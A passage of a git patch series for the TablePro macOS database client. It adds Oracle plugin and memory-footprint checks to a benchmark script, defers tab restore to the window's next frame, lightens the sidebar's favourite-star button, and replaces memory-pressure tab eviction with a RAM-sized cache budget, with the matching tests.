SYSTEM's is. ORACLE_TENANT_PASSWORD = "probe_pw" @@ -132,6 +141,24 @@ def oracle_ready(container, password): # Sandboxes +# Oracle is a registry plugin: a published build would time code that is not in this tree. +def oracle_plugin_problem(plugin): + if plugin is None: + return "no --oracle-plugin: the release build has no Oracle driver" + executable = plugin / "Contents" / "MacOS" / "OracleDriver" + if not executable.exists(): + return "%s has no Contents/MacOS/OracleDriver" % plugin + sources = [str(HERE.parents[2] / "Plugins" / "OracleDriverPlugin"), str(HERE.parents[2] / "Packages" / "TableProOracle")] + changed = app_paths.run(["git", "-C", str(HERE), "log", "-1", "--format=%ct", "--"] + sources).stdout.strip() + if changed and executable.stat().st_mtime < int(changed): + return "%s was built before this tree's last Oracle change: build OracleDriver from this tree" % plugin + version = app_paths.run(["plutil", "-extract", "CFBundleShortVersionString", "raw", "-o", "-", + str(plugin / "Contents" / "Info.plist")]).stdout.strip() + log("Oracle plugin %s, built %s" % (version, datetime.datetime.fromtimestamp(executable.stat().st_mtime) + .strftime("%Y-%m-%d %H:%M"))) + return None + + def query_tab(): return {"id": "00000000-0000-4000-8000-000000003661", "title": "Query 1", "query": "", "tabType": {"query": {}}, "databaseName": ""} @@ -224,9 +251,13 @@ def clear_field(self): self.keystroke("a", ("command",)) self.keystroke(KEY_DELETE) - def resident_mb(self): - rss = app_paths.run(["ps", "-o", "rss=", "-p", str(self.pid)]).stdout.strip() - return round(int(rss) / 1024.0, 1) + # The physical footprint Activity Monitor shows. RSS leaves out what the memory compressor holds, and + # read 107 to 572 MB for the same retained memory. + def footprint_mb(self): + info = RusageInfo() + if LIBPROC.proc_pid_rusage(self.pid, 0, ctypes.byref(info)) != 0: + raise app_paths.BenchmarkError("proc_pid_rusage failed for %d" % self.pid) + return round(info.phys_footprint / 1048576.0, 1) def launch(app, sandbox, work, label): @@ -316,7 +347,7 @@ def interactive_runs(app, sandbox, work, fixture, runs, results): session.clear_field() results["complete-from"] = complete_from results["complete-schema"] = complete_schema - return session.resident_mb() + return session.footprint_mb() # Each run opens a schema no run has read, picked by typing its name in the tree. @@ -415,7 +446,12 @@ def summarize(traces): def report(measured, baseline, comparable): - header = "%-9s %-18s %5s %9s %9s %10s %17s %s" % ( + if baseline is not None and not comparable: + recorded = baseline.get("machine", {}) + log("baseline is from %s, %s GB, %s; this run is another Mac or build: budgets shown, not enforced; " + "the %d ms stall limit still is" % (recorded.get("model"), recorded.get("memoryGB"), + baseline.get("app", {}).get("configuration"), STALL_LIMIT_MS)) + header ="%-9s %-18s %5s %9s %9s %10s %17s %s" % ( "fixture", "step", "runs", "median", "p95", "max stall", "budget med/p95", "status") print(header) print("-" * len(header)) @@ -431,23 +467,26 @@ def report(measured, baseline, comparable): summary = steps[step] expected = expected_steps.get(step) budget = "-" - status = "ok" if summary["maxStallMs"] <= STALL_LIMIT_MS else "STALL" - if summary["maxStallMs"] > STALL_LIMIT_MS and comparable: - over.append("%s %s" % (fixture, step)) + problems = [] + failed = summary["maxStallMs"] > STALL_LIMIT_MS + if failed: + problems.append("STALL") if not expected: missing.append("%s %s" % (fixture, step)) - status += ", no baseline" + problems.append("no baseline") else: budget = "%d / %d" % (expected["budgetMedian"], expected["budgetP95"]) if summary["median"] > expected["budgetMedian"] or summary["p95"] > expected["budgetP95"]: - status = "OVER BUDGET" - if comparable: - over.append("%s %s" % (fixture, step)) + problems.append("OVER BUDGET") + failed = failed or comparable + if failed: + over.append("%s %s" % (fixture, step)) + status = ", ".join(problems) or "ok" print("%-9s %-18s %5d %9.1f %9.1f %10.1f %17s %s" % ( fixture, step, summary["runs"], summary["median"], summary["p95"], summary["maxStallMs"], budget, status)) if measured[fixture]["memoryMB"] is not None: - print("%-9s %-18s %5s %9.1f MB resident after autocomplete" + print("%-9s %-18s %5s %9.1f MB footprint after autocomplete" % (fixture, "memory", "", measured[fixture]["memoryMB"])) return over, missing @@ -520,9 +559,8 @@ def main(): elif name == "mysql": problem, fixture = mysql_ready(mysql), mysql_fixture(mysql) else: - problem = oracle_ready(options.oracle_container, options.oracle_password) - if problem is None and options.oracle_plugin is None: - problem = "no --oracle-plugin: the release build has no Oracle driver" + problem = oracle_ready(options.oracle_container, options.oracle_password) \ + or oracle_plugin_problem(options.oracle_plugin) fixture = oracle_fixture({"host": oracle["host"], "port": oracle["port"], "user": "LC_S001", "password": ORACLE_TENANT_PASSWORD}) if problem: From 53161478362e6bf3b103b48fec6e01c4755c3e9c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?= Date: Mon, 26 Oct 2026 18:52:44 +0700 Subject: [PATCH 02/44] perf(connection-window): keep the restored tab out of the connected panes' frame (#3846) --- .../SidebarContainerViewController.swift | 8 ++- .../Extensions/NSWindow+FirstFrame.swift | 56 +++++++++++++++--- .../MainContentCoordinator+TabRestore.swift | 5 ++ .../Views/Sidebar/FavoriteStarButton.swift | 34 ++++++----- .../Extensions/NSWindowNextFrameTests.swift | 52 +++++++++++++++++ .../Sidebar/FavoriteStarButtonTests.swift | 58 +++++++++++++++++++ apple/changelog.d/3846.changed.md | 1 + .../benchmark/large-catalog/benchmark.py | 30 +++++++--- 8 files changed, 214 insertions(+), 30 deletions(-) create mode 100644 apple/TableProTests/Extensions/NSWindowNextFrameTests.swift create mode 100644 apple/TableProTests/Views/Sidebar/FavoriteStarButtonTests.swift create mode 100644 apple/changelog.d/3846.changed.md diff --git a/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift b/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift index 805183ecb7..ae3c2dce75 100644 --- a/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift +++ b/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift @@ -382,8 +382,12 @@ private final class SidebarFilterField: NSSearchField { override func becomeFirstResponder() -> Bool { let became = super.becomeFirstResponder() - if became { onFocus?() } - return became + guard became else { return false } + onFocus?() + // AppKit sets up a field editor's selection navigation on its first caret move, about 15 ms once per launch; + // asking for it here keeps that cost out of the first keystroke of a search over a large catalog. + _ = (currentEditor() as? NSTextView)?.textLayoutManager?.textSelectionNavigation + return true } } diff --git a/apple/TablePro/Extensions/NSWindow+FirstFrame.swift b/apple/TablePro/Extensions/NSWindow+FirstFrame.swift index 4facce23e8..925156f3eb 100644 --- a/apple/TablePro/Extensions/NSWindow+FirstFrame.swift +++ b/apple/TablePro/Extensions/NSWindow+FirstFrame.swift @@ -19,9 +19,14 @@ internal extension NSWindow { /// than never. That covers a launch nobody is looking at, which is exactly the case that must /// not stall. func afterNextFrame(_ body: @escaping @MainActor () -> Void) { + _ = observeNextFrame(body) + } + + /// Returns what stops the wait, for a caller that gives up on a frame that may never come. + private func observeNextFrame(_ body: @escaping @MainActor () -> Void) -> @MainActor () -> Void { guard screen != nil, let view = contentView else { body() - return + return {} } guard #available(macOS 14.0, *) else { /// `NSView.displayLink(target:selector:)` and `CADisplayLink` are both macOS 14. @@ -32,17 +37,48 @@ internal extension NSWindow { CATransaction.setCompletionBlock { DispatchQueue.main.async { MainActor.assumeIsolated(body) } } - return + return {} } - FirstFrameObserver.observe(view, then: body) + let observer = FirstFrameObserver.observe(view, then: body) + return { observer.cancel() } + } + + /// Returns once the display has shown this window's next frame, or after `limit`: a hidden or + /// off-display view drives no display link, so the frame alone could never arrive. + func nextFrame(limit: Duration = .milliseconds(100)) async { + let gate = FrameGate() + await withCheckedContinuation { (continuation: CheckedContinuation) in + gate.continuation = continuation + gate.stopObserving = observeNextFrame { gate.open() } + Task { @MainActor in + try? await Task.sleep(for: limit) + gate.open() + } + } + } +} + +@MainActor +private final class FrameGate { + var continuation: CheckedContinuation? + var stopObserving: (@MainActor () -> Void)? + + // The limit can win, and a display link left registered would hold its observer for good. + func open() { + stopObserving?() + stopObserving = nil + continuation?.resume() + continuation = nil } } @available(macOS 14.0, *) @MainActor -private final class FirstFrameObserver: NSObject { +internal final class FirstFrameObserver: NSObject { private static var live: Set = [] + static var liveCount: Int { live.count } + private let body: @MainActor () -> Void private var link: CADisplayLink? @@ -50,19 +86,25 @@ private final class FirstFrameObserver: NSObject { self.body = body } - static func observe(_ view: NSView, then body: @escaping @MainActor () -> Void) { + static func observe(_ view: NSView, then body: @escaping @MainActor () -> Void) -> FirstFrameObserver { let observer = FirstFrameObserver(body: body) let link = view.displayLink(target: observer, selector: #selector(fire)) observer.link = link live.insert(observer) link.add(to: .main, forMode: .common) + return observer } - @objc - private func fire() { + func cancel() { link?.invalidate() link = nil Self.live.remove(self) + } + + @objc + private func fire() { + guard link != nil else { return } + cancel() body() } } diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift index bb1290d0c5..b7a0bf9b78 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift @@ -144,6 +144,11 @@ extension MainContentCoordinator { ) return } + // The connected panes lay out on the window's next frame; a read that landed first built the + // restored tab in that turn, one stall of both. Waited before the read, so the saves the read + // unlocks never see a tab list the restore has not merged into yet. + await window.nextFrame() + guard !isTearingDown else { return } let restoreStart = Date() let result = await persistence.restoreFromDisk() Self.lifecycleLogger.info( diff --git a/apple/TablePro/Views/Sidebar/FavoriteStarButton.swift b/apple/TablePro/Views/Sidebar/FavoriteStarButton.swift index fa2de4defc..84e0a49642 100644 --- a/apple/TablePro/Views/Sidebar/FavoriteStarButton.swift +++ b/apple/TablePro/Views/Sidebar/FavoriteStarButton.swift @@ -17,22 +17,30 @@ internal struct FavoriteStarButton: View { private var isVisible: Bool { isFavorite || isRowHovered } + // A hidden star is a placeholder, not a button: a button adds AppKit focus views to its row, and the sidebar + // builds every visible row again on each reload. internal var body: some View { - Button(action: toggle) { - Image(systemName: isFavorite ? "star.fill" : "star") - .font(.system(size: 11, weight: .regular)) - .selectionAwareTint(isFavorite ? Color.yellow : Color.secondary) - .frame(width: 20, height: 20) - .contentShape(Rectangle()) + if isVisible { + Button(action: toggle) { + Image(systemName: isFavorite ? "star.fill" : "star") + .font(.system(size: 11, weight: .regular)) + .selectionAwareTint(isFavorite ? Color.yellow : Color.secondary) + .frame(width: Self.side, height: Self.side) + .contentShape(Rectangle()) + } + .buttonStyle(.plain) + .accessibilityHidden(true) + .help(isFavorite + ? String(localized: "Remove from Favorites") + : String(localized: "Add to Favorites")) + } else { + Color.clear + .frame(width: Self.side, height: Self.side) + .accessibilityHidden(true) } - .buttonStyle(.plain) - .opacity(isVisible ? 1 : 0) - .allowsHitTesting(isVisible) - .accessibilityHidden(true) - .help(isFavorite - ? String(localized: "Remove from Favorites") - : String(localized: "Add to Favorites")) } + + private static let side: CGFloat = 20 } /// A hover-revealed control is pointer-only, so the row publishes the same action to VoiceOver. diff --git a/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift b/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift new file mode 100644 index 0000000000..24652779f4 --- /dev/null +++ b/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift @@ -0,0 +1,52 @@ +// +// NSWindowNextFrameTests.swift +// TableProTests +// + +import AppKit +@testable import TablePro +import Testing + +@MainActor +struct NSWindowNextFrameTests { + private static func window() -> NSWindow { + let window = NSWindow( + contentRect: NSRect(x: 0, y: 0, width: 200, height: 100), + styleMask: [.titled], + backing: .buffered, + defer: false + ) + window.isReleasedWhenClosed = false + return window + } + + @Test("The wait ends whether or not the window ever draws a frame") + func waitAlwaysEnds() async { + let clock = ContinuousClock() + let hidden = Self.window() + let shown = Self.window() + shown.orderFront(nil) + defer { shown.orderOut(nil) } + + let elapsed = await clock.measure { + await hidden.nextFrame(limit: .milliseconds(50)) + await shown.nextFrame(limit: .milliseconds(50)) + await shown.nextFrame(limit: .milliseconds(50)) + } + + #expect(elapsed < .seconds(5)) + } + + @Test("A wait that ends at its limit leaves no display link behind") + func timedOutWaitReleasesItsObserver() async { + guard #available(macOS 14.0, *) else { return } + let window = Self.window() + window.orderFront(nil) + window.orderOut(nil) + let before = FirstFrameObserver.liveCount + + await window.nextFrame(limit: .milliseconds(30)) + + #expect(FirstFrameObserver.liveCount == before) + } +} diff --git a/apple/TableProTests/Views/Sidebar/FavoriteStarButtonTests.swift b/apple/TableProTests/Views/Sidebar/FavoriteStarButtonTests.swift new file mode 100644 index 0000000000..2bb1a508d5 --- /dev/null +++ b/apple/TableProTests/Views/Sidebar/FavoriteStarButtonTests.swift @@ -0,0 +1,58 @@ +// +// FavoriteStarButtonTests.swift +// TableProTests +// + +import AppKit +import SwiftUI +@testable import TablePro +import Testing + +@MainActor +struct FavoriteStarButtonTests { + private static func host(_ view: some View) -> (NSHostingView, NSWindow) { + let window = NSWindow( + contentRect: NSRect(x: 0, y: 0, width: 40, height: 40), + styleMask: [.titled], + backing: .buffered, + defer: false + ) + window.isReleasedWhenClosed = false + let hosting = NSHostingView(rootView: AnyView(view)) + hosting.frame = NSRect(x: 0, y: 0, width: 40, height: 40) + window.contentView?.addSubview(hosting) + hosting.layoutSubtreeIfNeeded() + return (hosting, window) + } + + private static func star(isFavorite: Bool, isRowHovered: Bool) -> FavoriteStarButton { + FavoriteStarButton(isFavorite: isFavorite, isRowHovered: isRowHovered, toggle: {}) + } + + // SwiftUI's own view hierarchy is private: only check for the control's views where a button has them. + static func buttonsAddAppKitViews() -> Bool { + let (hosting, window) = host(Button("Star") {}.buttonStyle(.plain)) + defer { window.orderOut(nil) } + return !hosting.subviews.isEmpty + } + + @Test( + "A hidden star puts no control in its row, and a shown one does", + .enabled("a SwiftUI button adds AppKit views on this macOS") { await FavoriteStarButtonTests.buttonsAddAppKitViews() } + ) + func hiddenStarIsNoControl() { + for (isFavorite, isRowHovered, expectsControl) in [(false, false, false), (false, true, true), (true, false, true)] { + let (hosting, window) = Self.host(Self.star(isFavorite: isFavorite, isRowHovered: isRowHovered)) + #expect(hosting.subviews.isEmpty == !expectsControl, "favorite \(isFavorite), hovered \(isRowHovered)") + window.orderOut(nil) + } + } + + @Test("A star takes the same room hidden as shown, so a hover moves nothing in the row") + func hiddenStarKeepsItsRoom() { + let hidden = NSHostingView(rootView: Self.star(isFavorite: false, isRowHovered: false)).fittingSize + let shown = NSHostingView(rootView: Self.star(isFavorite: false, isRowHovered: true)).fittingSize + #expect(hidden == shown) + #expect(hidden == CGSize(width: 20, height: 20)) + } +} diff --git a/apple/changelog.d/3846.changed.md b/apple/changelog.d/3846.changed.md new file mode 100644 index 0000000000..3fe66f08ec --- /dev/null +++ b/apple/changelog.d/3846.changed.md @@ -0,0 +1 @@ +Opening a connection on saved tabs and filtering a large sidebar pause the window less. diff --git a/apple/scripts/benchmark/large-catalog/benchmark.py b/apple/scripts/benchmark/large-catalog/benchmark.py index bbe8c97140..bc20df3bfd 100644 --- a/apple/scripts/benchmark/large-catalog/benchmark.py +++ b/apple/scripts/benchmark/large-catalog/benchmark.py @@ -485,9 +485,20 @@ def report(measured, baseline, comparable): print("%-9s %-18s %5d %9.1f %9.1f %10.1f %17s %s" % ( fixture, step, summary["runs"], summary["median"], summary["p95"], summary["maxStallMs"], budget, status)) - if measured[fixture]["memoryMB"] is not None: - print("%-9s %-18s %5s %9.1f MB footprint after autocomplete" - % (fixture, "memory", "", measured[fixture]["memoryMB"])) + footprint = measured[fixture]["footprintMB"] + if footprint is not None: + entry = (baseline or {}).get("fixtures", {}).get(fixture) or {} + budget = entry.get("budgetFootprintMB") + status = "ok" + if budget is None: + missing.append("%s footprint" % fixture) + status = "no baseline" + elif footprint > budget: + status = "OVER BUDGET" + if comparable: + over.append("%s footprint" % fixture) + print("%-9s %-18s %5s %9.1f MB after autocomplete, budget %s MB %s" + % (fixture, "footprint", "", footprint, budget if budget is not None else "-", status)) return over, missing @@ -502,16 +513,19 @@ def record_baseline(measured, current_machine, current_app, runs): steps[step] = dict(summary, budgetMedian=app_paths.budget_for(summary["median"]), budgetP95=app_paths.budget_for(summary["p95"])) entry["steps"] = {step: steps[step] for step in STEPS if step in steps} - if values["memoryMB"] is not None: - entry["memoryMB"] = values["memoryMB"] + # The RSS this used to keep measured a different thing and has no budget. + entry.pop("memoryMB", None) + if values["footprintMB"] is not None: + entry["footprintMB"] = values["footprintMB"] + entry["budgetFootprintMB"] = app_paths.budget_for(values["footprintMB"]) fixtures[fixture] = entry BASELINE.write_text(json.dumps({ "recorded": datetime.date.today().isoformat(), "machine": current_machine, "app": current_app, "runs": runs, - "budgetRule": "%.2fx the baseline median and p95, rounded up to 5 ms; no main-thread stall over %d ms" - % (app_paths.BUDGET_FACTOR, STALL_LIMIT_MS), + "budgetRule": "%.2fx the baseline median and p95, rounded up to 5 ms, and the footprint, rounded up to 5 MB; " + "no main-thread stall over %d ms" % (app_paths.BUDGET_FACTOR, STALL_LIMIT_MS), "fixtures": {name: fixtures[name] for name in FIXTURES if name in fixtures}, }, indent=2) + "\n") log("wrote %s" % BASELINE) @@ -577,7 +591,7 @@ def main(): plugin = options.oracle_plugin if fixture.name == "oracle" else None results, memory = run_fixture(options.app, work, fixture, options.runs, plugin, parts) measured[fixture.name] = { - "memoryMB": memory, + "footprintMB": memory, "steps": {step: summarize(traces) for step, traces in results.items()}, } except app_paths.BenchmarkError as error: From fcc7073332423e7245af44f83c89043e264c8fd5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?= Date: Mon, 26 Oct 2026 19:01:18 +0700 Subject: [PATCH 03/44] fix(tabs): keep a table tab's rows until you reload it (#3848) --- .../GridDisplayCacheBudget.swift | 18 + .../MemoryPressureAdvisor.swift | 57 --- .../GridDisplayCacheBudgetTests.swift | 27 ++ .../MemoryPressureAdvisorTests.swift | 31 -- .../Core/Diagnostics/TabSwitchTrace.swift | 2 +- .../MainSplitViewController.swift | 16 +- .../Infrastructure/PostLaunchWork.swift | 3 - apple/TablePro/Models/Query/QueryTab.swift | 4 - apple/TablePro/Models/Query/TabSession.swift | 7 +- .../Models/Query/TabSessionRegistry.swift | 35 +- .../Models/Query/TableLoadTrigger.swift | 6 + apple/TablePro/Models/Query/TableRows.swift | 7 - .../Main/Child/MainEditorContentView.swift | 11 +- .../MainContentCoordinator+GridModels.swift | 4 +- .../MainContentCoordinator+QueryHelpers.swift | 2 +- .../MainContentCoordinator+QueryTasks.swift | 2 +- ...MainContentCoordinator+ResultEditing.swift | 2 + .../MainContentCoordinator+TabRestore.swift | 2 +- .../MainContentCoordinator+TabSwitch.swift | 101 +---- ...nContentCoordinator+TableRowsRefresh.swift | 16 +- ...inContentCoordinator+WindowLifecycle.swift | 37 +- .../Extensions/MainContentView+Helpers.swift | 23 +- .../Extensions/MainContentView+Setup.swift | 2 +- .../Views/Main/MainContentCoordinator.swift | 12 +- .../WorkspaceSwitchKeyStateTests.swift | 6 +- .../TabSessionRegistryTableRowsTests.swift | 44 +-- .../Query/TabSessionRegistryTests.swift | 35 +- .../Models/Query/TabSessionTests.swift | 1 - .../Query/TableRowsRowLocatorTests.swift | 7 - .../Models/Query/TableRowsTests.swift | 17 - .../Views/Main/CatalogChangeWindowTests.swift | 4 +- .../Views/Main/EvictionTests.swift | 357 ------------------ ...nContentCoordinatorDisplayStateTests.swift | 14 - .../MainContentCoordinatorLazyLoadTests.swift | 179 +++++---- .../Main/TableTabRowRetentionTests.swift | 145 +++++++ apple/changelog.d/3848.fixed.1.md | 1 + apple/changelog.d/3848.fixed.2.md | 1 + apple/changelog.d/3848.fixed.3.md | 1 + apple/changelog.d/3848.fixed.md | 1 + 39 files changed, 372 insertions(+), 868 deletions(-) create mode 100644 apple/Packages/TableProMacCore/Sources/TableProUtilities/GridDisplayCacheBudget.swift delete mode 100644 apple/Packages/TableProMacCore/Sources/TableProUtilities/MemoryPressureAdvisor.swift create mode 100644 apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/GridDisplayCacheBudgetTests.swift delete mode 100644 apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/MemoryPressureAdvisorTests.swift delete mode 100644 apple/TableProTests/Views/Main/EvictionTests.swift create mode 100644 apple/TableProTests/Views/Main/TableTabRowRetentionTests.swift create mode 100644 apple/changelog.d/3848.fixed.1.md create mode 100644 apple/changelog.d/3848.fixed.2.md create mode 100644 apple/changelog.d/3848.fixed.3.md create mode 100644 apple/changelog.d/3848.fixed.md diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/GridDisplayCacheBudget.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/GridDisplayCacheBudget.swift new file mode 100644 index 0000000000..51b940fbf2 --- /dev/null +++ b/apple/Packages/TableProMacCore/Sources/TableProUtilities/GridDisplayCacheBudget.swift @@ -0,0 +1,18 @@ +import Foundation + +// Sized by RAM and never by pressure: dispatch/source.h says not to walk and discard existing caches when pressure rises. +public enum GridDisplayCacheBudget { + public static func unmountedGrids(physicalMemory: UInt64 = ProcessInfo.processInfo.physicalMemory) -> Int { + let gigabyte: UInt64 = 1_073_741_824 + switch physicalMemory { + case (32 * gigabyte)...: + return 8 + case (16 * gigabyte)...: + return 5 + case (8 * gigabyte)...: + return 3 + default: + return 2 + } + } +} diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/MemoryPressureAdvisor.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/MemoryPressureAdvisor.swift deleted file mode 100644 index cc10153b63..0000000000 --- a/apple/Packages/TableProMacCore/Sources/TableProUtilities/MemoryPressureAdvisor.swift +++ /dev/null @@ -1,57 +0,0 @@ -import Foundation -import os - -@MainActor -public enum MemoryPressureAdvisor { - nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "MemoryPressureAdvisor") - - /// Current memory pressure level from the OS dispatch source. - private(set) static var isUnderPressure = false - - private static let pressureSource: DispatchSourceMemoryPressure = { - let source = DispatchSource.makeMemoryPressureSource( - eventMask: [.warning, .critical, .normal], - queue: .main - ) - source.setEventHandler { @Sendable in - MainActor.assumeIsolated { - let event = source.data - let wasPressured = isUnderPressure - isUnderPressure = event.contains(.warning) || event.contains(.critical) - if isUnderPressure && !wasPressured { - logger.info("Memory pressure detected, reducing tab eviction budget") - } else if !isUnderPressure && wasPressured { - logger.info("Memory pressure resolved, restoring tab eviction budget") - } - } - } - source.activate() - return source - }() - - public static func startMonitoring() { - _ = pressureSource - } - - public static func budgetForInactiveTabs() -> Int { - let totalBytes = ProcessInfo.processInfo.physicalMemory - let gb: UInt64 = 1_073_741_824 - - let baseBudget: Int - if totalBytes >= 32 * gb { - baseBudget = 8 - } else if totalBytes >= 16 * gb { - baseBudget = 5 - } else if totalBytes >= 8 * gb { - baseBudget = 3 - } else { - baseBudget = 2 - } - - return isUnderPressure ? max(1, baseBudget / 2) : baseBudget - } - - public static func estimatedFootprint(rowCount: Int, columnCount: Int) -> Int { - rowCount * columnCount * 64 - } -} diff --git a/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/GridDisplayCacheBudgetTests.swift b/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/GridDisplayCacheBudgetTests.swift new file mode 100644 index 0000000000..0043289325 --- /dev/null +++ b/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/GridDisplayCacheBudgetTests.swift @@ -0,0 +1,27 @@ +import Testing + +@testable import TableProUtilities + +struct GridDisplayCacheBudgetTests { + private static let gigabyte: UInt64 = 1_073_741_824 + + @Test( + "More memory keeps more unmounted grids formatted", + arguments: [ + (UInt64(4) * gigabyte, 2), + (UInt64(8) * gigabyte, 3), + (UInt64(16) * gigabyte, 5), + (UInt64(24) * gigabyte, 5), + (UInt64(32) * gigabyte, 8), + (UInt64(128) * gigabyte, 8), + ] + ) + func tiers(physicalMemory: UInt64, expected: Int) { + #expect(GridDisplayCacheBudget.unmountedGrids(physicalMemory: physicalMemory) == expected) + } + + @Test("Just under a tier stays on the lower one") + func tierBoundary() { + #expect(GridDisplayCacheBudget.unmountedGrids(physicalMemory: 16 * Self.gigabyte - 1) == 3) + } +} diff --git a/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/MemoryPressureAdvisorTests.swift b/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/MemoryPressureAdvisorTests.swift deleted file mode 100644 index f22ecebd86..0000000000 --- a/apple/Packages/TableProMacCore/Tests/TableProUtilitiesTests/MemoryPressureAdvisorTests.swift +++ /dev/null @@ -1,31 +0,0 @@ -import Testing - -@testable import TableProUtilities - -@MainActor -struct MemoryPressureAdvisorTests { - @Test("budget returns positive value") - func budgetPositive() { - let budget = MemoryPressureAdvisor.budgetForInactiveTabs() - #expect(budget >= 2) - #expect(budget <= 8) - } - - @Test("memory estimation for typical tab") - func typicalTabEstimate() { - let bytes = MemoryPressureAdvisor.estimatedFootprint(rowCount: 1_000, columnCount: 10) - #expect(bytes == 640_000) - } - - @Test("memory estimation for empty tab") - func emptyTabEstimate() { - let bytes = MemoryPressureAdvisor.estimatedFootprint(rowCount: 0, columnCount: 10) - #expect(bytes == 0) - } - - @Test("memory estimation for large tab") - func largeTabEstimate() { - let bytes = MemoryPressureAdvisor.estimatedFootprint(rowCount: 50_000, columnCount: 20) - #expect(bytes == 64_000_000) - } -} diff --git a/apple/TablePro/Core/Diagnostics/TabSwitchTrace.swift b/apple/TablePro/Core/Diagnostics/TabSwitchTrace.swift index 815d794304..ec160af1d6 100644 --- a/apple/TablePro/Core/Diagnostics/TabSwitchTrace.swift +++ b/apple/TablePro/Core/Diagnostics/TabSwitchTrace.swift @@ -12,7 +12,7 @@ internal enum TabSwitchTrigger: String, Sendable { case tabStrip } -// requery: the memory budget dropped the rows. firstLoad: restored from the last session, never shown since. +// requery: TablePro changed the table since the rows were read. firstLoad: restored from the last session, never shown since. internal enum TabSwitchRows: String, Sendable { case resident case requery diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift index d5e220c969..7b74595818 100644 --- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift +++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift @@ -650,15 +650,8 @@ internal final class MainSplitViewController: NSSplitViewController { /// Switching workspace repaints the window in place. The rail used to raise a different /// window instead, which is what made several connections mean several windows. internal func applySelectedWorkspace() { - /// Switching workspace is this window's key-window change as far as a coordinator is - /// concerned. Only the selected one receives the real `windowDidBecomeKey`, so without - /// this the outgoing connection keeps `isKeyWindow` true and never schedules the eviction - /// that frees its row buffers. - /// - /// The outgoing side is read from each coordinator rather than from `lastActiveCoordinator`, - /// which only a switch sets. The window's first connection is made key by the window itself, - /// so the first switch away from it found no cached coordinator to resign: it kept - /// `isKeyWindow` and never scheduled the eviction. + // Only the selected connection gets the real windowDidBecomeKey, so a switch hands key status over itself. + // Each coordinator is asked, not `lastActiveCoordinator`: the window made its first connection key without a switch. let incoming = workspaces.selected?.sessionState?.coordinator var handedOffKey = false for workspace in workspaces.workspaces { @@ -668,10 +661,7 @@ internal final class MainSplitViewController: NSSplitViewController { coordinator.handleWindowDidResignKey() handedOffKey = true } - /// Key status is handed over, never invented. A window that is not key can still change its - /// selection, and marking that connection key kept its row eviction from ever being - /// scheduled and let a deferred restore load in a window nobody was looking at. The real - /// `windowDidBecomeKey` reaches whichever connection is selected when the window comes forward. + // Handed over, never invented: marking a connection key in a background window ran its deferred restore load unseen. if lastActiveCoordinator !== incoming { if handedOffKey || view.window?.isKeyWindow == true { incoming?.handleWindowDidBecomeKey() diff --git a/apple/TablePro/Core/Services/Infrastructure/PostLaunchWork.swift b/apple/TablePro/Core/Services/Infrastructure/PostLaunchWork.swift index c85b3461fe..055a6197b2 100644 --- a/apple/TablePro/Core/Services/Infrastructure/PostLaunchWork.swift +++ b/apple/TablePro/Core/Services/Infrastructure/PostLaunchWork.swift @@ -1,6 +1,5 @@ import Foundation import os -import TableProUtilities /// The subsystem work a launch has to do but the first window does not need. /// @@ -28,8 +27,6 @@ internal enum PostLaunchWork { hasStarted = true logger.debug("post-launch work starting") - MemoryPressureAdvisor.startMonitoring() - Task { await PluginManager.shared.sweepPluginSignatures() } Task { await QueryHistoryManager.shared.performStartupCleanup() } diff --git a/apple/TablePro/Models/Query/QueryTab.swift b/apple/TablePro/Models/Query/QueryTab.swift index bdcbb9fc3d..072966f0b8 100644 --- a/apple/TablePro/Models/Query/QueryTab.swift +++ b/apple/TablePro/Models/Query/QueryTab.swift @@ -71,7 +71,6 @@ struct QueryTab: Identifiable, Equatable { var schemaVersion: Int var metadataVersion: Int var paginationVersion: Int - var loadEpoch: Int = 0 var pendingRestoredSort: [PersistedSortColumn]? // Held until the first load resolves the columns. @@ -155,7 +154,6 @@ struct QueryTab: Identifiable, Equatable { self.schemaVersion = 0 self.metadataVersion = 0 self.paginationVersion = 0 - self.loadEpoch = 0 self.pendingRestoredSort = nil self.restoredSortSource = .unset self.restoredPage = nil @@ -210,7 +208,6 @@ struct QueryTab: Identifiable, Equatable { self.schemaVersion = 0 self.metadataVersion = 0 self.paginationVersion = 0 - self.loadEpoch = 0 self.pendingRestoredSort = persisted.sortColumns // A file from before sortSource decodes to its old behaviour: saved columns were the user's, none meant undecided. self.restoredSortSource = persisted.sortSource @@ -387,6 +384,5 @@ struct QueryTab: Identifiable, Equatable { && lhs.isPreview == rhs.isPreview && lhs.isPinned == rhs.isPinned && lhs.hasUserInteraction == rhs.hasUserInteraction - && lhs.loadEpoch == rhs.loadEpoch } } diff --git a/apple/TablePro/Models/Query/TabSession.swift b/apple/TablePro/Models/Query/TabSession.swift index 